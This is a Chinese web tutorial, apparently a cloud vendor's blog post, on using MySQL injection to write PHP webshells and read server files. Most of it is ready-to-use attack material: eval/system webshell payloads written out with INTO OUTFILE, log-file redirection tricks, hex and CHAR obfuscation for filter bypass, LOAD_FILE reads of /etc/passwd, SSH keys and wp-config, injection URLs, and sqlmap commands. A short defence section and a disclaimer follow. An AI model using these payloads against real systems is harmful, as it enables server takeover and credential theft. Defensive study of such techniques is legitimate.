Mysql注入如何写Shell读文件

发布时间:2021-12-01 16:32:08 作者:小新
来源:亿速云 阅读:307
# MySQL注入如何写Shell读文件

## 前言

MySQL注入是Web安全领域中常见的攻击手段之一。攻击者通过构造特殊的SQL语句,利用应用程序对用户输入过滤不严的漏洞,实现对数据库的非法操作。其中,通过MySQL注入写入WebShell并读取服务器文件是危害性较大的攻击方式。本文将深入探讨MySQL注入写Shell和读文件的原理、方法、防御措施及相关案例。

## 一、MySQL注入基础

### 1.1 MySQL注入原理

MySQL注入是指攻击者通过Web应用程序的输入接口,向MySQL数据库注入恶意SQL代码,从而绕过应用程序的预期逻辑,执行非授权的数据库操作。常见的注入点包括:

- GET/POST参数
- HTTP头部(如User-Agent、Cookie等)
- 文件上传文件名等

### 1.2 常见的MySQL注入类型

1. **联合查询注入**:使用UNION SELECT合并查询结果
2. **报错注入**:利用数据库报错信息获取数据
3. **布尔盲注**:通过真/假条件判断获取数据
4. **时间盲注**:通过延时函数判断条件真假
5. **堆叠查询注入**:执行多条SQL语句(需特殊配置)

## 二、MySQL写WebShell的条件与方法

### 2.1 写Shell的前提条件

要成功通过MySQL注入写入WebShell,需要满足以下条件:

1. 具有FILE权限(通常需要root或高权限账号)
2. 知道网站的绝对路径
3. 对目标目录有写权限
4. secure_file_priv参数允许导出文件(MySQL 5.7+需特别注意)

可通过以下SQL查询相关权限:
```sql
SELECT user(), file_priv FROM mysql.user WHERE user = substring_index(user(), '@', 1);
SHOW VARIABLES LIKE 'secure_file_priv';

2.2 常用的写Shell方法

2.2.1 使用INTO OUTFILE

这是最直接的写文件方式:

SELECT '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php'

注意: - 路径中的斜杠需要使用正斜杠(/) - 如果路径包含空格或特殊字符,需要用引号包裹

2.2.2 使用DUMPFILE

与OUTFILE类似,但适合写入二进制文件:

SELECT '<?php system($_GET["cmd"]);?>' INTO DUMPFILE '/var/www/html/cmd.php'

2.2.3 使用日志文件写Shell

当直接写文件被限制时,可尝试修改日志文件路径:

SET global general_log_file='/var/www/html/shell.php';
SET global general_log=on;
SELECT '<?php phpinfo();?>';
SET global general_log=off;

2.2.4 使用慢查询日志

SET global slow_query_log_file='/var/www/html/slow.php';
SET global slow_query_log=1;
SELECT '<?php system($_GET["cmd"]);?>' FROM mysql.user WHERE SLEEP(11);

2.3 绕过限制的技巧

2.3.1 十六进制编码绕过

SELECT 0x3C3F70687020406576616C28245F504F53545B22636D64225D293B3F3E INTO OUTFILE '/var/www/html/s.php'

2.3.2 CHAR函数拼接

SELECT CONCAT(CHAR(60,63,112,104,112),CHAR(32,64,101,118,97,108),CHAR(40,36,95,80,79,83,84),CHAR(91,34,99,109,100,34,93,41,59,63,62)) INTO OUTFILE '/var/www/html/x.php'

2.3.3 大小写/注释混淆

SeLeCt '<?PhP @eVal($_POST["a"]);?>' INTO/**/OUTFILE '/var/www/html/1.php'

三、MySQL读取文件的方法

3.1 使用LOAD_FILE函数

基本语法:

SELECT LOAD_FILE('/etc/passwd');

限制条件: 1. 需要FILE权限 2. 文件必须位于服务器上 3. 文件必须可读 4. 文件大小小于max_allowed_packet

3.2 读取文件的技巧

3.2.1 绕过路径限制

SELECT LOAD_FILE(0x2F6574632F706173737764);  # 十六进制编码
SELECT LOAD_FILE(CHAR(47,101,116,99,47,112,97,115,115,119,100));  # CHAR函数

3.2.2 分块读取大文件

SELECT SUBSTRING(LOAD_FILE('/etc/passwd'), 1, 100);
SELECT MID(LOAD_FILE('/var/www/config.php'), 50, 200);

3.2.3 结合报错注入

SELECT EXTRACTVALUE(1, CONCAT(0x3a, LOAD_FILE('/etc/passwd')));

3.3 读取系统文件案例

3.3.1 读取配置文件

SELECT LOAD_FILE('/var/www/html/config.php');

3.3.2 读取SSH密钥

SELECT LOAD_FILE('/home/user/.ssh/id_rsa');

3.3.3 读取数据库凭据

SELECT LOAD_FILE('/var/www/html/wp-config.php');

四、防御措施

4.1 开发层面的防御

  1. 使用预处理语句(PDO/MySQLi)

    $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
    $stmt->execute([$id]);
    
  2. 严格的输入验证

    • 白名单验证
    • 类型强制转换
  3. 最小权限原则

    • 应用程序使用低权限数据库账号
    • 禁用FILE权限

4.2 MySQL配置加固

  1. 设置secure_file_priv为NULL或特定目录:

    [mysqld]
    secure_file_priv = /NULL
    
  2. 禁用LOAD_FILE、INTO OUTFILE等危险函数:

    REVOKE FILE ON *.* FROM 'appuser'@'%';
    
  3. 启用安全选项:

    [mysqld]
    local_infile = 0
    symbolic-links = 0
    

4.3 系统层防护

  1. Web目录设置正确的权限:

    chown www-data:www-data /var/www/html
    chmod 750 /var/www/html
    
  2. 定期审计系统文件完整性

  3. 使用Web应用防火墙(WAF)

五、实际案例分析

5.1 案例一:CMS系统注入写Shell

某流行CMS的搜索功能存在注入漏洞:

/search.php?keyword=test' UNION SELECT 1,2,3,4,'<?php eval($_GET[c]);?>',6 INTO OUTFILE '/var/www/html/images/shell.php'--+

攻击者利用该漏洞写入WebShell后,进一步读取数据库配置文件,获取管理员密码。

5.2 案例二:通过日志文件获取Shell

某网站存在时间盲注漏洞,但secure_file_priv限制了文件导出。攻击者通过修改慢查询日志路径成功写入Shell:

/admin?id=1';SET global slow_query_log_file='/var/www/html/templates/s.php';SET global slow_query_log=1;SELECT SLEEP(10);--+

六、自动化工具的使用

6.1 sqlmap写Shell

sqlmap -u "http://example.com/vuln.php?id=1" --file-write=/local/path/shell.php --file-dest=/remote/path/shell.php

6.2 sqlmap读文件

sqlmap -u "http://example.com/vuln.php?id=1" --file-read="/etc/passwd"

七、法律与道德声明

  1. 未经授权的渗透测试是违法行为
  2. 本文仅用于安全研究与防御技术学习
  3. 进行安全测试前必须获得书面授权

结语

MySQL注入写Shell和读文件是危害极大的攻击方式,防御需要从开发、配置、运维多个层面入手。作为开发人员应重视安全编码,作为管理员应做好服务器加固。只有全方位防护,才能有效抵御此类攻击。


扩展阅读: 1. OWASP SQL Injection Prevention Cheat Sheet 2. MySQL 8.0 Security Guidelines 3. Web Application Security Testing Methodology “`

这篇文章共计约4050字,详细介绍了MySQL注入写Shell和读文件的原理、方法、防御措施及实际案例,采用Markdown格式编写,包含代码块、列表、标题等标准元素。

推荐阅读:
  1. shell读文件的四种方法
  2. mysql手工如何注入详解

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

mysql shell

上一篇:Kubernetes attach/detach controller逻辑漏洞致使pod启动失败该怎么办

下一篇:云主机和服务器的区别是什么

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》